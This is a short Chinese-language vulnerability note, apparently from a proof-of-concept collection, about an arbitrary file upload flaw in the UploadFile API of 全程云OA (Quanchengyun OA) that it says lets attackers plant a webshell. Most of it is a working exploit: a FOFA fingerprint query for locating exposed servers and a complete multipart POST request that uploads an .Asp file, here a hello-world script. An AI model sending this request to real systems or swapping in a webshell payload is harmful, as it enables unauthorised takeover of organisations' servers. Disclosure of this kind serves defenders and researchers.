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37 lines
1.1 KiB
Markdown
37 lines
1.1 KiB
Markdown
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# 全程云OA接口UploadFile存在任意文件上传漏洞
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全程云OA接口UploadFile存在任意文件上传漏洞。该漏洞允许攻击者上传webshell木马获取服务器权限。
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## fofa
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```java
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body="images/yipeoplehover.png"
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```
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## poc
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```java
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POST /OA/api/2.0/Common/AttachFile/UploadFile HTTP/1.1
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Host:
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br
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Accept-Ldwk: bG91ZG9uZ3dlbmt1
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNe8DcVuv1vEUWDaR
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Content-Length: 191
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------WebKitFormBoundaryNe8DcVuv1vEUWDaR
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Content-Disposition: form-data; name="upload";filename="123.Asp"
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<% response.write("hello,world") %>
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------WebKitFormBoundaryNe8DcVuv1vEUWDaR--
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```
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## 漏洞来源
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- https://mp.weixin.qq.com/s/T4kFVsKphUd6OYRYMyMUtg
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